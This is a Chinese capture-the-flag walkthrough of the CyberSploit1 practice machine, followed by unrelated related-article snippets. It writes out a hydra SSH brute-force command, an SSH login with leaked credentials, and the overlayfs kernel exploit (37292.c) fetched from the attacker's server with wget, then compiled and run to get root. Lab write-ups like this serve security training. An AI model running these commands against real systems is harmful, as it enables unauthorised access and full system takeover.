靶场通关记录
OSCP系列靶场-Esay-CyberSploit1
总结
getwebshell → 源码注释发现用户名 → robots.txt发现base64密码 → SSH登录
提 权 思 路 → 内网信息收集 → 发现发行版本有点老 → 内核overlayfs提权
准备工作
-
启动VPN
获取攻击机IP >192.168.45.220 -
启动靶机
获取目标机器IP >192.168.176.92
信息收集-端口扫描
目标开放端口收集
- Nmap开放端口扫描2次
┌──(root㉿Kali)-[/home/bachang/CyberSploit1]
└─# ┌──(root㉿Kali)-[/home/bachang/Blogger]
└─# sudo nmap --min-rate 10000 -p- 192.168.176.92
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-23 11:45 CST
Nmap scan report for 192.168.176.92
Host is up (0.30s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 9.39 seconds
通过两次收集到的端口:→22,80
目标端口对应服务探测
# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.176.92
信息收集-端口测试
两个端口的话,通常突破口在80端口
22-SSH端口的信息收集
22-SSH端口版本信息与MSF利用(待定)
通过Nmap探测获得SSH的版本信息,可以尝试利用
# 进入msf # 探测版本为OpenSSH 5.9p1 Debian 5ubuntu1.10
msfconsole
# 搜索对应脚本
msf6 > searchsploit OpenSSH 5.9p1
貌似存在用户枚举,等没思路的时候可以来试试
22-SSH手动登录尝试(失败)
尝试root账户的密码爆破
ssh root@192.168.176.92 -p 22
# 密码尝试
password > root

22-SSH弱口令爆破(挂着干别的)
尝试root账户的密码爆破,利用工具hydra,线程-t为6
1.hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.176.92 ssh -s 22

80-HTTP端口的信息收集
访问 http://192.168.176.92/ 发现不是一个标准的CMS从源码查看开始
信息收集-源码查看
# 包括文章中是否写明一些敏感信息
curl http://192.168.176.92:80
收集到一个用户名信息 itsskv
信息收集-目录扫描
信息收集-目录扫描初步
dirsearch -u http://192.168.176.92:80 -x 302,403
因为扫出了目录,深层次的扫描待选
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问
/robots.txt端点访问
存在一串代码,推测是加密,带等号尝试用bashe64解密
1.Y3liZXJzcGxvaXR7eW91dHViZS5jb20vYy9jeWJlcnNwbG9pdH0=
base64解密
利用kali解密得到了内容,确认是base64加密
┌──(root㉿Kali)-[/home/bachang/Blogger]
└─# echo "Y3liZXJzcGxvaXR7eW91dHViZS5jb20vYy9jeWJlcnNwbG9pdH0=
" | base64 -d
cybersploit{youtube.com/c/cybersploit}
另外两个端点没东西
漏洞利用-getwebshell
信息泄露getwebshell
已知用户名 itsskv 和 cybersploit{youtube.com/c/cybersploit}
头脑风暴一下,密码会不会和cybersploit{youtube.com/c/cybersploit}有关
之前hyrda可以爆破说明22端口是允许账号密码登录的
22-SSH账号密码登录(成功)
获取账号密码之后利用SSH进行登录
ssh itsskv<span>@192.168.176.92</span> -p22
password > cybersploit (失败)
password > cybersploit{youtube.com/c/cybersploit}(成功)
密码真长,我真的会谢
内网遨游-getshell
FLAG1获取
# 有2个,理论上排除掉第一个,找home下
itsskv<span>@cybersploit-CTF</span>:~$ find / -name local.txt 2>/dev/null
/usr/share/checkbox/jobs/local.txt
/home/itsskv/local.txt
itsskv<span>@cybersploit-CTF</span>:~$ cat /home/itsskv/local.txt
*********************

信息收集-内网基础信息收集
在获取shell之后我们要进行内网信息的收集,都是为了提权做准备
检测操作系统的发行版本
# 确定发行版本 较老
itsskv<span>@cybersploit-CTF</span>:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 12.04.5 LTS
Release: 12.04
Codename: precise
查看内核版本信息
# 确定内核版本
itsskv<span>@cybersploit-CTF</span>:~$ uname -a
Linux cybersploit-CTF 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 athlon i386 GNU/Linux
确认home目录下用户
itsskv<span>@cybersploit-CTF</span>:~$ ls -al /home
total 16
# 有两个用户
drwxr-xr-x 22 cybersploit cybersploit 4096 Sep 4 2020 cybersploit
drwxr-xr-x 20 itsskv itsskv 4096 Sep 4 2020 itsskv
确认home目录下是否有隐藏文件
# 例如.ssh找密码 ./*_history找历史记录等
itsskv<span>@cybersploit-CTF</span>:~$ ls -al /home/itsskv
# 查看了一下没啥
drwxr-xr-x 20 itsskv itsskv 4096 Sep 4 2020 .
drwxr-xr-x 4 root root 4096 Jun 25 2020 ..
-rw------- 1 itsskv itsskv 0 Sep 4 2020 .bash_history
-rw-r--r-- 1 itsskv itsskv 220 Jun 25 2020 .bash_logout
-rw-r--r-- 1 itsskv itsskv 3486 Jun 25 2020 .bashrc
drwx------ 14 itsskv itsskv 4096 Jun 25 2020 .cache
drwx------ 9 itsskv itsskv 4096 Jun 25 2020 .config
权限提升
Linux提权-内核overlayfs提权尝试
因为发行版本较老,若存在以下情况进行overlayfsLinux Kernel Version提权
| 系统 | 版本 |
|---|---|
| Linux Kernel Version | 大于3.13.0小于3.19 |
| Ubuntu | Linux 15.04 |
| Ubuntu | Linux 14.10 |
| Ubuntu | Linux 14.10 |
| Ubuntu | Linux 12.04 |
漏洞利用-内核overlayfs提权
msfconsole
msf > searchsploit overlayfs

结合 3.13.0-32的版本信息选择2与3
# 如果想查看msf对应的内容
cat /usr/share/exploitdb/exploits/linux/local/37292.c

将文件保存在当前目录下,方便开启http服务
┌──(root㉿Kali)-[/home/bachang/CyberSploit1]
└─# cp /usr/share/exploitdb/exploits/linux/local/37292.c ./shell.c
┌──(root㉿Kali)-[/home/bachang/CyberSploit1]
└─# ls
hydra.restore shell.c

攻击机开启服务
1.sudo python3 -m http.server 80
目标机器
# 首先到具有权限的目录下 如/tmp
itsskv<span>@cybersploit-CTF</span>:~$ cd /tmp
# 下载
itsskv<span>@cybersploit-CTF</span>:/tmp$ wget http://192.168.45.220/shell.c
# 给权限
itsskv<span>@cybersploit-CTF</span>:/tmp$ chmod +x shell.c
# 如果是c的需要进行编译
itsskv<span>@cybersploit-CTF</span>:/tmp$ gcc shell.c -o shell.c
# 运行
itsskv<span>@cybersploit-CTF</span>:/tmp$ ./shell.c
spawning threads
mount #1
mount#2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root
提权成功
FLAG2获取
# cat /root/proof.txt
*********************
完结撒花~~~
原文地址: https://bbs.zkaq.cn/t/30873.html

相关文章:
靶场通关记录
OSCP系列靶场-Esay-CyberSploit1 总结 getwebshell → 源码注释发现用户名 → robots.txt发现base64密码 → SSH登录 提 权 思 路 → 内网信息收集 → 发现发行版本有点老 → 内核overlayfs提权 准备工作 启动VPN 获取攻击机IP > 192.168.45.220 启动靶机 获取目标机器I…...
全网最新最全的软件测试面试题
一、前言 与开发工程师相比,软件测试工程师前期可能不会太深,但涉及面还是很广的。 在一年左右的实习生或岗位的早期面试中,主要是问一些基本的问题。 涉及到的知识主要包括MySQL数据库的使用、Linux操作系统的使用、软件测试框架问题、测试…...
如何列出 Ubuntu 和 Debian 上已安装的软件包
当你安装了 Ubuntu 并想好好用一用。但在将来某个时候,你肯定会遇到忘记曾经安装了那些软件包。 这个是完全正常。没有人要求你把系统里所有已安装的软件包都记住。但是问题是,如何才能知道已经安装了哪些软件包?如何查看安装过的软件包呢&a…...
图论---最小生成树问题
在连通网的所有生成树中,所有边的代价和最小的生成树,称为最小生成树。解决最小生成树问题一般有两种算法:Kruskal算法和Prim算法。 Kruskal算法 原理:基本思想是从小到大加入边,是个贪心算法。我们将图中的每个边按…...
elementplus 时间范围选择器限制选择时间范围
<el-date-pickerv-model"form.time" type"daterange"range-separator"-"start-placeholder"开始时间"end-placeholder"结束":disabled-date"disabledDate"calendar-Change"calendarChange" />co…...
【网络】抓包工具Wireshark下载安装和基本使用教程
🍁 博主 "开着拖拉机回家"带您 Go to New World.✨🍁 🦄 个人主页——🎐开着拖拉机回家_Linux,大数据运维-CSDN博客 🎐✨🍁 🪁🍁 希望本文能够给您带来一定的帮助…...
Metasequoia 4 水杉3D建模工具 附序列号
Metasequoia 4是一款非常强大的3D水杉建模工具,它基于多边形建模技术,可以用于创建各种对象并支持多种第三方3DCG软件的文件格式,是一款非常适合从爱好到业务,支持3D电脑绘图,3D印刷,游戏开发等的3D建模软件…...
股票杠杆交易平台排名:淘配网推荐的十大平台
在投资世界中,股票杠杆交易一直以其提供更高回报机会的吸引力而备受欢迎。随着市场的不断发展,出现了越来越多的股票杠杆交易平台。本文将为您介绍淘配网推荐的十大股票杠杆交易平台,并分析它们的特点。 富灯网 - 富灯网以其全面的杠杆产品和…...
CoreData + CloudKit 在初始化 Schema 时报错 A Core Data error occurred 的解决
问题现象 如果希望为 CoreData 支持的 App 增加云数据备份和同步功能,那么 CloudKit 是绝佳的选择。CloudKit 会帮我们默默处理好一切,我们基本不用为升级而操心。 不过,有时在用本地 CoreData NSManagedObjectModel 初始化 iCloud 中的 Schema 时会发生如下错误: Error …...
修炼k8s+flink+hdfs+dlink(三:安装dlink)
一:mysql初始化。 mysql -uroot -p123456 create database dinky; grant all privileges on dinky.* to dinky% identified by dinky with grant option; flush privileges;二:上传dinky。 上传至目录/opt/app/dlink tar -zxvf dlink-release-0.7.4.t…...
Linux 系统性能瓶颈分析(超详细)
Author:rab 目录 前言一、性能指标1.1 进程1.1.1 进程定义1.1.2 进程状态1.1.3 进程优先级1.1.4 进程与程序间的关系1.1.5 进程与进程间的关系1.1.6 进程与线程的关系 1.2 内存1.2.1 物理内存与虚拟内存1.2.2 页高速缓存与页写回机制1.2.3 Swap Space 1.3 文件系统1…...
kafka与zookeeper的集群
基础配置 systemctl stop firewalld && systemctl disable firewalld setenforce 0 sed -i s/SELINUXenforcing/SELINUXdisabled/ /etc/selinux/configvi /etc/hosts ip1 node1 ip2 node2 ip3 node3zookeeper介绍 zookeeper是一个分布式的协调服务,主要用…...
sqlalchemy 连接池
报错 sqlalchemy.exc.TimeoutError: QueuePool limit of size 100 overflow 10 reached, connection timed out, timeout 30 (Background on this error at: http://sqlalche.me/e/3o7r) 查看数据库未活动超时时间 show variables like "interactive_timeout";一般…...
用Blender制作YOLO目标检测器训练数据
推荐:用 NSDT编辑器 快速搭建可编程3D场景 本文将介绍一种非常有吸引力的机器学习训练数据的替代方案,用于为给定的特定应用程序收集数据。 无论应用程序类型如何,这篇博文都旨在向读者展示使用 Blender 等开源资源生成合成数据(S…...
c++视觉处理---均值滤波
均值滤波 cv::blur()函数是OpenCV中用于应用均值滤波的函数。均值滤波是一种简单的平滑技术,它计算每个像素周围像素的平均值,并用该平均值替代原始像素值。这有助于降低图像中的噪声,并可以模糊图像的细节。 以下是cv::blur()函数的基本用…...
QT基础入门——Qt事件(五)
前言: 事件(event)是由系统或者 Qt 本身在不同的时刻发出的。当用户按下鼠标、敲下键盘,或者是窗口需要重新绘制的时候,都会发出一个相应的事件。一些事件在对用户操作做出响应时发出,如键盘事件等&#x…...
自学黑客方法-----(网络安全)
如果你想自学网络安全,首先你必须了解什么是网络安全!,什么是黑客!! 1.无论网络、Web、移动、桌面、云等哪个领域,都有攻与防两面性,例如 Web 安全技术,既有 Web 渗透2.也有 Web 防…...
Dockerfile自定义容器
1、Dockerfile Dockerfile 是用于构建 Docker 镜像的文本文件,其中包含一系列的指令和配置,用于定义镜像的构建过程。通过 Dockerfile,你可以定义镜像的基础操作系统、依赖、环境设置、应用程序等信息,从而实现可复制、自动化的镜…...
(5)SpringMVC处理携带JSON格式(“key“:value)请求数据的Ajax请求
SpringMVC处理Ajax 参考文章数据交换的常见格式,如JSON格式和XML格式 请求参数的携带方式 浏览器发送到服务器的请求参数有namevalue&...(键值对)和{key:value,...}(json对象)两种格式 URL请求会将请求参数以键值对的格式拼接到请求地址后面,form表单的GET和POST请求会…...
【iOS】——仿写计算器
文章目录 一、实现思路二、实现方法三、判错处理 一、实现思路 先搭建好MVC框架,接着在各个模块中实现各自的任务。首先要创建好UI界面,接着根据UI界面的元素来与数据进行互动,其中创建UI界面需要用到Masonry布局。 二、实现方法 在calcu…...
day52 ResNet18 CBAM
在深度学习的旅程中,我们不断探索如何提升模型的性能。今天,我将分享我在 ResNet18 模型中插入 CBAM(Convolutional Block Attention Module)模块,并采用分阶段微调策略的实践过程。通过这个过程,我不仅提升…...
微信小程序 - 手机震动
一、界面 <button type"primary" bindtap"shortVibrate">短震动</button> <button type"primary" bindtap"longVibrate">长震动</button> 二、js逻辑代码 注:文档 https://developers.weixin.qq…...
江苏艾立泰跨国资源接力:废料变黄金的绿色供应链革命
在华东塑料包装行业面临限塑令深度调整的背景下,江苏艾立泰以一场跨国资源接力的创新实践,重新定义了绿色供应链的边界。 跨国回收网络:废料变黄金的全球棋局 艾立泰在欧洲、东南亚建立再生塑料回收点,将海外废弃包装箱通过标准…...
页面渲染流程与性能优化
页面渲染流程与性能优化详解(完整版) 一、现代浏览器渲染流程(详细说明) 1. 构建DOM树 浏览器接收到HTML文档后,会逐步解析并构建DOM(Document Object Model)树。具体过程如下: (…...
ServerTrust 并非唯一
NSURLAuthenticationMethodServerTrust 只是 authenticationMethod 的冰山一角 要理解 NSURLAuthenticationMethodServerTrust, 首先要明白它只是 authenticationMethod 的选项之一, 并非唯一 1 先厘清概念 点说明authenticationMethodURLAuthenticationChallenge.protectionS…...
Python如何给视频添加音频和字幕
在Python中,给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加,包括必要的代码示例和详细解释。 环境准备 在开始之前,需要安装以下Python库:…...
听写流程自动化实践,轻量级教育辅助
随着智能教育工具的发展,越来越多的传统学习方式正在被数字化、自动化所优化。听写作为语文、英语等学科中重要的基础训练形式,也迎来了更高效的解决方案。 这是一款轻量但功能强大的听写辅助工具。它是基于本地词库与可选在线语音引擎构建,…...
【 java 虚拟机知识 第一篇 】
目录 1.内存模型 1.1.JVM内存模型的介绍 1.2.堆和栈的区别 1.3.栈的存储细节 1.4.堆的部分 1.5.程序计数器的作用 1.6.方法区的内容 1.7.字符串池 1.8.引用类型 1.9.内存泄漏与内存溢出 1.10.会出现内存溢出的结构 1.内存模型 1.1.JVM内存模型的介绍 内存模型主要分…...
redis和redission的区别
Redis 和 Redisson 是两个密切相关但又本质不同的技术,它们扮演着完全不同的角色: Redis: 内存数据库/数据结构存储 本质: 它是一个开源的、高性能的、基于内存的 键值存储数据库。它也可以将数据持久化到磁盘。 核心功能: 提供丰…...
Sklearn 机器学习 缺失值处理 获取填充失值的统计值
💖亲爱的技术爱好者们,热烈欢迎来到 Kant2048 的博客!我是 Thomas Kant,很开心能在CSDN上与你们相遇~💖 本博客的精华专栏: 【自动化测试】 【测试经验】 【人工智能】 【Python】 使用 Scikit-learn 处理缺失值并提取填充统计信息的完整指南 在机器学习项目中,数据清…...

